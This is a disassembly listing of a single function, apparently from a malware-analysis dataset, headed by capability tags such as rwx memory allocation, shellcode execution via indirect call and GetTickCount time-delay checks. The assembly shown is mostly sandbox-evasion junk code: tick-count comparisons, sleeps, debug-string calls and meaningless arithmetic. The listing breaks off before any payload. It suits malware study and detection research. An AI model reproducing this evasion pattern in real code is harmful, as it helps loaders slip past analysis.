Function at 0x53de50
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Parse pe header
Print debug messages

Disassembly:
push rbp
push rbx
sub rsp, 0x58
mov rbp, rsp
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
nop
call sub.kernel32.dll_GetTickCount
cmp eax, 0x152
jne 0x53df42
mov ecx, 0x51
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x30
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x19
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 1
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0xd
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
xor ecx, ecx
call sub.kernel32.dll_Sleep
sub dword [0x005ac68c], 0x11
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x37
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x1d
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x31d
jne 0x53e01d
mov dword [0x005ac688], 0x3f
mov ecx, 0x22
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 4
mov dword [0x005ac698], 3
mov ecx, 0x30
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x3c
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 1
call sub.kernel32.dll_Sleep
add dword [0x005ac694], 0x1c
mov ecx, 1
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x24
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x30
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x14
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x113
jne 0x53e0a6
mov dword [0x005ac688], 0x62
mov dword [0x005ac68c], 0x54
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 3
mov dword [0x005ac698], 0x18
mov ecx, 0x5d
call fcn.004098a0
add dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 1
call fcn.004098a0
sub dword [0x005ac698], eax
mov eax, dword [0x005ac694]
imul eax, eax, 0x61
mov dword [0x005ac694], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x10f
jne 0x53e159
mov ecx, 0x26
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x5a
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5f
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0xe
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x3a
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 0x20
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 5
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x63
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x295
jne 0x53e229
mov ecx, 0x31
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x50
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x21
mov ecx, 2
call fcn.004098a0
mov dword [0x005ac698], eax
mov eax, dword [0x005ac688]
mov ecx, eax
shl eax, 4
sub eax, ecx
mov dword [0x005ac688], eax
mov dword [0x005ac694], 0
mov ecx, 2
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac690]
imul eax, eax, 0x3c
mov dword [0x005ac690], eax
mov ecx, 0x24
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 0x36
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 0x17
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x39c
jne 0x53e315
mov ecx, 0x11
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x1b
mov dword [0x005ac698], 0x2b
mov eax, dword [0x005ac690]
shr eax, 0x1f
add eax, dword [0x005ac690]
sar eax, 1
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x62
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x23
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac698]
imul eax, eax, 0x47
mov dword [0x005ac698], eax
mov ecx, 0x33
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 7
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2d
jne 0x53e3b1
mov ecx, 0x5f
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x2d
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x55
mov ecx, 0x10
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
sub dword [0x005ac690], 0x4f
call sub.kernel32.dll_GetTickCount
mov ecx, 0x24
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x21e
jne 0x53e466
mov ecx, 0x3a
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0xc
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x28
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x58
call fcn.004098a0
mov dword [0x005ac698], eax
add dword [0x005ac690], 0x35
call sub.kernel32.dll_GetTickCount
mov ecx, 0x2d
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 9
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x38
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0xed
jne 0x53e50c
mov ecx, 0x20
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x30
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x49
mov ecx, 0x46
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x58
call fcn.004098a0
add dword [0x005ac694], eax
mov ecx, 0x3f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x11
call fcn.004098a0
sub dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x24
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x205
jne 0x53e5d1
mov dword [0x005ac688], 0x62
mov dword [0x005ac68c], 0x58
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x41
mov dword [0x005ac698], 0x35
mov ecx, 0x2c
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0x45
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 0x11
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x2d
call fcn.004098a0
sub dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x33
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3d2
jne 0x53e68e
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0xf
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5c
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 9
mov ecx, 0x4e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
call sub.kernel32.dll_GetTickCount
mov ecx, 0x2e
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x62
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x4a
call fcn.004098a0
add dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3ae
jne 0x53e71f
mov dword [0x005ac688], 3
mov dword [0x005ac68c], 0x47
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 8
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x3e
mov ecx, 0x14
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0xb
call fcn.004098a0
add dword [0x005ac68c], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
sub dword [0x005ac694], 0x53
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x4f
jne 0x53e7dd
mov dword [0x005ac688], 0x4e
mov dword [0x005ac68c], 0x4c
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x11
mov ecx, 0x16
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0xf
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov eax, dword [0x005ac698]
imul eax, eax, 0x35
mov dword [0x005ac698], eax
sub dword [0x005ac698], 0x2e
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x58
call fcn.004098a0
add dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
sub dword [0x005ac694], 0x2b
mov ecx, 0x23
call fcn.004098a0
add dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x205
jne 0x53e890
mov dword [0x005ac688], 0x2b
mov ecx, 0x42
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x60
mov ecx, 0x21
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x50
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x005ac694]
imul eax, eax, 0x17
mov dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x30
call fcn.004098a0
sub dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x55
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1d0
jne 0x53e934
mov dword [0x005ac688], 0x24
mov ecx, 0x39
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x23
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x4c
sub dword [0x005ac698], 0x63
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x5c
call fcn.004098a0
sub dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x4f
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x28
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1d3
jne 0x53ea3e
mov ecx, 0x36
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x13
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x4c
mov ecx, 0x1c
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5d
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0xa
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x50
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0xd
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x38
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0xc
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x6f
jne 0x53eadd
mov dword [0x005ac688], 0x39
mov dword [0x005ac68c], 0x4c
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0xd
mov ecx, 0x4d
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac694], 0x3c
mov ecx, 7
call fcn.004098a0
sub dword [0x005ac690], eax
mov ecx, 0xa
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
sub dword [0x005ac68c], 0x48
sub dword [0x005ac68c], 0xe
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x5c
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x4d
jne 0x53ebad
mov ecx, 0x1a
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x22
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x54
mov ecx, 0x2b
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 8
call fcn.004098a0
sub dword [0x005ac694], eax
mov eax, dword [0x005ac698]
mov dword [0x005ac698], eax
mov ecx, 0x34
call fcn.004098a0
add dword [0x005ac68c], eax
add dword [0x005ac694], 0x2f
call sub.kernel32.dll_GetTickCount
mov ecx, 0xe
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], edx
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0xc
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x84
jne 0x53ec78
mov ecx, 0x35
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x3d
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x3b
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 4
mov ecx, 0x31
call fcn.004098a0
add dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0x45
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac694]
imul eax, eax, 0x47
mov dword [0x005ac694], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x23
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
cmp eax, 0x22b
jne 0x53ed43
mov ecx, 0x5e
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x4b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 5
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x63
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0xe
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac68c]
imul eax, eax, 0x4f
mov dword [0x005ac68c], eax
mov ecx, 0x5b
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x5d
call fcn.004098a0
sub dword [0x005ac694], eax
mov ecx, 0x59
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
call sub.kernel32.dll_GetTickCount
cmp eax, 0x1ec
jne 0x53edfa
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac688], eax
mov ecx, 0x1f
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x5c
mov dword [0x005ac698], 0x1a
mov ecx, 5
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov ecx, 0x15
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0xb
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
call sub.kernel32.dll_GetTickCount
cmp eax, 0xb8
jne 0x53eee0
mov dword [0x005ac688], 1
mov ecx, 0x2b
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x29
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x3b
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac690], 0x37
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac698]
add eax, eax
lea rax, [rax + rax*8]
mov dword [0x005ac698], eax
add dword [0x005ac688], 0x2d
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x1f
call fcn.004098a0
sub dword [0x005ac68c], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x11
call fcn.004098a0
add dword [0x005ac694], eax
mov ecx, 0x2b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
mov ecx, 0x31
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x13f
jne 0x53ef83
mov ecx, 5
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x46
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 4
mov ecx, 0x19
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x45
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 6
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
add dword [0x005ac698], 0x59
call sub.kernel32.dll_GetTickCount
sub dword [0x005ac698], 0x1d
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
call sub.kernel32.dll_GetTickCount
cmp eax, 0xb
jne 0x53f054
mov dword [0x005ac688], 0x47
mov dword [0x005ac68c], 0x5d
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0xf
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x5d
sub dword [0x005ac698], 0x16
xor ecx, ecx
call sub.kernel32.dll_CloseHandle
mov ecx, 0x13
call fcn.004098a0
sub dword [0x005ac68c], eax
call sub.kernel32.dll_GetTickCount
mov ecx, 0xe
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x60
call fcn.004098a0
add dword [0x005ac688], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x4a
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], edx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x19
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x2d6
jne 0x53f10e
mov dword [0x005ac688], 0x1c
mov dword [0x005ac68c], 8
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x63
mov ecx, 0x38
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x2f
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x47
call fcn.004098a0
sub dword [0x005ac698], eax
add dword [0x005ac68c], 0x12
mov ecx, 2
call sub.kernel32.dll_Sleep
mov ecx, 0x52
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 0xf
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x3cd
jne 0x53f1ab
mov ecx, 0x33
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x32
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x22
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x61
mov ecx, 0x5d
call fcn.004098a0
sub dword [0x005ac688], eax
mov ecx, 0x29
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 7
call fcn.004098a0
sub dword [0x005ac694], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x2a
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x57
jne 0x53f26b
mov ecx, 2
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x3f
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x37
mov dword [0x005ac698], 0x4d
mov ecx, 0x45
call fcn.004098a0
add dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x3c
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x2e
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
add dword [0x005ac688], 0x28
mov ecx, 0x1c
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0xaf
jne 0x53f353
mov dword [0x005ac688], 0x42
mov ecx, 0x42
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x61
mov ecx, 0x12
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5e
call fcn.004098a0
mov ecx, dword [0x005ac68c]
imul ecx, eax
mov dword [0x005ac68c], ecx
mov ecx, 0x35
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], edx
mov ecx, 0x24
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], eax
add dword [0x005ac690], 0x40
mov ecx, 0x18
mov eax, dword [0x005ac694]
cdq
idiv ecx
mov dword [0x005ac694], edx
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x3d
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 1
call sub.kernel32.dll_Sleep
mov ecx, 0x62
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x355
jne 0x53f443
mov dword [0x005ac688], 0x13
mov dword [0x005ac68c], 0x5a
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x26
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x2d
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x4d
call fcn.004098a0
mov ecx, dword [0x005ac690]
imul ecx, eax
mov dword [0x005ac690], ecx
xor ecx, ecx
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac688]
and eax, 0x80000003
jns 0x53f3e1
sub eax, 1
or eax, 0xfffffffc
add eax, 1
mov dword [0x005ac688], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
mov ecx, 0x54
call fcn.004098a0
mov ecx, dword [0x005ac694]
imul ecx, eax
mov dword [0x005ac694], ecx
add dword [0x005ac68c], 0xf
mov ecx, 0x3e
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x2c
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x4e
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x68
jne 0x53f4ec
mov ecx, 0x44
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 4
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x5f
call fcn.004098a0
mov dword [0x005ac694], eax
mov ecx, 0x4f
call fcn.004098a0
mov dword [0x005ac698], eax
sub dword [0x005ac698], 0x4c
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov eax, dword [0x005ac68c]
imul eax, eax, 0x42
mov dword [0x005ac68c], eax
mov ecx, 0x49
call fcn.004098a0
mov ecx, dword [0x005ac698]
imul ecx, eax
mov dword [0x005ac698], ecx
mov ecx, 3
call sub.kernel32.dll_Sleep
mov ecx, 5
call fcn.004098a0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x39c
jne 0x53f5a2
mov dword [0x005ac688], 0x16
mov ecx, 0x17
call fcn.004098a0
mov dword [0x005ac68c], eax
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 0x4d
mov ecx, 0x3c
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x1e
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], edx
mov ecx, 0x35
call fcn.004098a0
mov ecx, dword [0x005ac688]
imul ecx, eax
mov dword [0x005ac688], ecx
mov ecx, 0x46
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac688]
cdq
idiv ecx
mov dword [0x005ac688], eax
mov ecx, 0x42
call fcn.004098a0
add dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
cmp eax, 0x39c
jne 0x53f650
mov dword [0x005ac688], 0x31
